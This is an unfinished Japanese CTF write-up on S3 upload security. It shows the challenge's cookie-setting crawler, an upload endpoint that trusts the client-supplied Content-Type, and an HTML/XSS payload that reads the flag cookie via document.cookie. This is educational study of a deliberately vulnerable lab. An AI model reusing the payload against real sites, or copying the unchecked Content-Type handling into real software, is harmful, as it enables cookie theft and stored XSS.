[wip] とある海豹とSecurity-JAWS #01 Writeup
はじめに
2024年9月21日、「とある海豹とSecurity-JAWS #01」というAWSのS3セキュリティに焦点を当てたCTFイベントに参加しました。このイベントでは、S3のファイルアップロード機能に潜む脆弱性を探ることがテーマで、特にContent-Typeヘッダの操作によるXSS脆弱性を発見していくというものでした。
イベントの主なテーマ:
- S3のファイルアップロード時におけるContent-Typeヘッダの制御
- 任意のファイル形式のアップロード可否の検証
本記事では、このCTFで解いた問題と、その過程で学んだポイントを紹介します。一部の問題は未解決なため全てではないですが、学びを共有しようと思います。
Writeup
構成概要
今回のCTFで提供された構成は、以下の図に示すようなものでした。
また、以下のようなターゲットページが用意されており、指定されたS3のURLを入力し、Cookieを付与した状態でそのURLにアクセスする仕組みです。
動作の概要
- ユーザは、悪意のあるHTMLファイルをアップロードします。
- アップロードされたファイルはS3に保存されます。
- アプリケーションがS3のURLを用いてアクセスを行い、特定のクッキー(フラグ)が付与された状態でターゲットのページにアクセスします。
- クローラーがそのページのHTMLを取得し、結果をS3バケットに保存します。
- S3バケットに保存されたHTMLは、iframeを使って最終的に表示されます。
クローラーの実装
クローラーは、指定されたURLにアクセスし、フラグが埋め込まれたクッキーを付与した後、そのページのHTMLを取得し、S3に保存します。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
export const crawler = async (url: string) => {
const browser = await launch({
headless: true, // ヘッドレスブラウザモードで起動
args: puppeteerArgs,
});
const page = await browser.newPage();
page.setCookie({
name: "flag",
value: process.env.FLAG || "flag{dummy}", // フラグの値
domain: process.env.DOMAIN || "example.com", // 対象ドメイン
});
await page.goto(url); // 指定URLへアクセス
await new Promise((resolve) => setTimeout(resolve, 500)); // ページのロード待機
const bodyHandle = await page.$("body");
const html = await page.evaluate((body) => {
if (!body) return "HTML is empty";
return body.innerHTML;
}, bodyHandle);
const path = new URL(url).pathname;
await uploadToS3(`delivery/${path.split("/").pop()}`, Buffer.from(html)); // S3にHTMLを保存
await browser.close();
};
Introduction
Server Side Upload
この問題は、S3のファイルアップロード機能を活用し、任意のファイルをアップロードする構成となっています。以下は、サーバーサイドでのファイルアップロードの実装です。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
server.post('/api/upload', async (request, reply) => {
const data = await request.file({
limits: {
fileSize: 1024 * 1024 * 100, // 最大ファイルサイズ: 100MB
files: 1, // 一度にアップロードできるファイル数: 1つ
},
});
if (!data) {
return reply.code(400).send({ error: 'No file uploaded' }); // エラーレスポンス: ファイルがアップロードされていない場合
}
const filename = uuidv4(); // ランダムなファイル名を生成
const s3 = new S3Client({});
const command = new PutObjectCommand({
Bucket: process.env.BUCKET_NAME, // バケット名
Key: `upload/${filename}`, // アップロード先のファイルパス
Body: data.file, // アップロードするファイル本体
ContentLength: data.file.bytesRead, // ファイルのサイズ
ContentType: data.mimetype, // ファイルのMIMEタイプ
});
await s3.send(command); // S3にファイルをアップロード
reply.send(`/upload/${filename}`); // アップロードされたファイルのURLを返却
return reply;
});
以下のようなHTMLファイルをアップロードすることで、flagを取得できます。
1
2
3
4
5
6
7
8
9
10
<html lang="en">
<body>
<p id="flag-container">Flag: Loading...</p>
<script>
// クッキーから "flag" を抽出し、要素に表示する
document.getElementById('flag-container').textContent =
document.cookie.split(';').find(c => c.includes('flag')).split('=')[1];
</script>
</body>
</html>
Pre Signed Upload
This post is licensed under CC BY-SA 4.0 by the author.